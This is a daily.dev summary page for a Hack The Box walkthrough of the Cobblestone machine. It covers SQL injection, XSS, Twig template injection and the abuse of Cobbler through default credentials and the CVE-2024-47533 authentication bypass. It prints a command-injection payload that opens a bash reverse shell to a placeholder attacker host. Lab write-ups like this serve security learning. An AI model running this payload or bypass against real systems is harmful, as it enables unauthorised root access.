--- title: HTB: Cobblestone | daily.dev description: A walkthrough of the Hack The Box machine Cobblestone, a cluster of Minecraft-themed PHP sites spread across subdomains. The attack chain starts with a... canonical: https://daily.dev/posts/htb-cobblestone-jxhw7xtg4 twitter:card: summary_large_image twitter:site: @dailydotdev og:type: website og:site_name: daily.dev og:title: HTB: Cobblestone | daily.dev og:description: A walkthrough of the Hack The Box machine Cobblestone, a cluster of Minecraft-themed PHP sites spread across subdomains. The attack chain starts with a... og:url: https://daily.dev/posts/htb-cobblestone-jxhw7xtg4 og:image: https://api.daily.dev/og/posts/jxHw7xTg4.png og:image:alt: HTB: Cobblestone og:image:width: 1200 og:image:height: 630 og:locale: en --- > ## Documentation Index > Fetch the complete documentation index at: https://daily.dev/llms.txt > Use this file to discover all available pages before exploring further. # HTB: Cobblestone **[0xdf hacks stuff](https://daily.dev/sources/0xdf)** · 75 min read · 0 upvotes · 0 comments ## Summary A walkthrough of the Hack The Box machine Cobblestone, a cluster of Minecraft-themed PHP sites spread across subdomains. The attack chain starts with a second-order SQL injection used to leak application source, followed by stored XSS to hijack an admin session, then Twig server-side template injection for code execution as www-data, hardened by AppArmor. Database credentials are cracked to gain SSH access, and Cobbler running as root is abused via default credentials and an authentication bypass to gain a root shell. A bonus section explains why the SQL injection crashes the page. ## Full article daily.dev links to this article rather than hosting it. Read it at the original source: ## Questions this post answers ### What is CVE-2024-47533 in Cobbler and how does it allow authentication bypass? CVE-2024-47533 affects Cobbler versions from 3.0.0 up to but not including 3.2.3 and 3.3.7, where the get_shared_secret() function always returns -1 due to a bug passing an invalid encoding parameter to a binary-mode file open, causing an exception. Since the login function accepts an empty username with a password equal to the shared secret, anyone can authenticate as the special user with username '' and password -1, gaining full XML-RPC control. _Teams patching Cobbler or auditing XML-RPC auth flows can track vulnerability writeups like this on daily.dev._ ### What is the default password for the Cobbler XML-RPC admin user? The default Cobbler XML-RPC admin credential is username cobbler with password cobbler. The settings.yaml default_password_crypted value ($1$mF86/UHC$WvcIcX2t6crBz2onWxyac.) is an MD5-crypt hash that decodes to the plaintext 'cobbler', and Cobbler's own documentation warns admins to change this default password after setup since it grants full XML-RPC control. _Sysadmins hardening provisioning tools can keep default-credential checklists current via daily.dev._ ### How can Cobbler's background_import XML-RPC function be abused for command injection? The rsync_flags option passed to Cobbler's background_import() API function is concatenated unsanitized into an rsync shell command executed via subprocess with shell=True, allowing arbitrary command injection. Passing options like {"path": "rsync://127.0.0.1/", "name": "x", "rsync_flags": "; bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1' #"} to an authenticated XML-RPC session executes a reverse shell as root, since cobblerd typically runs with root privileges. _Developers reviewing XML-RPC or subprocess-based automation tools can follow exploit breakdowns like this on daily.dev._ ## Similar posts on daily.dev - [HTB: HackNet](https://daily.dev/posts/htb-hacknet-ytv8gsdvp) · 0xdf hacks stuff · 0 upvotes · 0 comments - [CodePartTwo HTB Walkthrough](https://daily.dev/posts/codeparttwo-htb-walkthrough-gzwjbhyde) · InfoSec Write-ups · 1 upvotes · 0 comments - [HTB: Orion](https://daily.dev/posts/htb-orion-p1pnwvkbh) · 0xdf hacks stuff · 0 upvotes · 0 comments - [HTB — Strutted Writeup: Linux Machine](https://daily.dev/posts/htb-strutted-writeup-linux-machine-x6cn8azui) · InfoSec Write-ups · 1 upvotes · 0 comments - [HTB: CodeTwo](https://daily.dev/posts/htb-codetwo-klj991bhn) · 0xdf hacks stuff · 2 upvotes · 0 comments --- Tags: [#php](https://daily.dev/tags/php), [#sql](https://daily.dev/tags/sql) [View this post on daily.dev](https://daily.dev/posts/htb-cobblestone-jxhw7xtg4) ```json {"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://daily.dev/#organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180},"sameAs":["https://twitter.com/dailydotdev","https://github.com/dailydotdev","https://www.linkedin.com/company/daily-dev-ltd"]},{"@type":"WebSite","@id":"https://daily.dev/#website","url":"https://daily.dev","name":"daily.dev","publisher":{"@id":"https://daily.dev/#organization"},"potentialAction":{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://daily.dev/search?q={search_term_string}"},"query-input":"required name=search_term_string"}}]} {"@context":"https://schema.org","@type":"TechArticle","headline":"HTB: Cobblestone","url":"https://daily.dev/posts/htb-cobblestone-jxhw7xtg4","mainEntityOfPage":{"@type":"WebPage","@id":"https://daily.dev/posts/htb-cobblestone-jxhw7xtg4"},"datePublished":"2026-08-15T15:02:54.542Z","dateModified":"2026-09-13T19:32:15.737Z","description":"A walkthrough of the Hack The Box machine Cobblestone, a cluster of Minecraft-themed PHP sites spread across subdomains. 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Since the login function accepts an empty username with a password equal to the shared secret, anyone can authenticate as the special user with username '' and password -1, gaining full XML-RPC control. Teams patching Cobbler or auditing XML-RPC auth flows can track vulnerability writeups like this on daily.dev."}},{"@type":"Question","name":"What is the default password for the Cobbler XML-RPC admin user?","acceptedAnswer":{"@type":"Answer","text":"The default Cobbler XML-RPC admin credential is username cobbler with password cobbler. The settings.yaml default_password_crypted value ($1$mF86/UHC$WvcIcX2t6crBz2onWxyac.) is an MD5-crypt hash that decodes to the plaintext 'cobbler', and Cobbler's own documentation warns admins to change this default password after setup since it grants full XML-RPC control. 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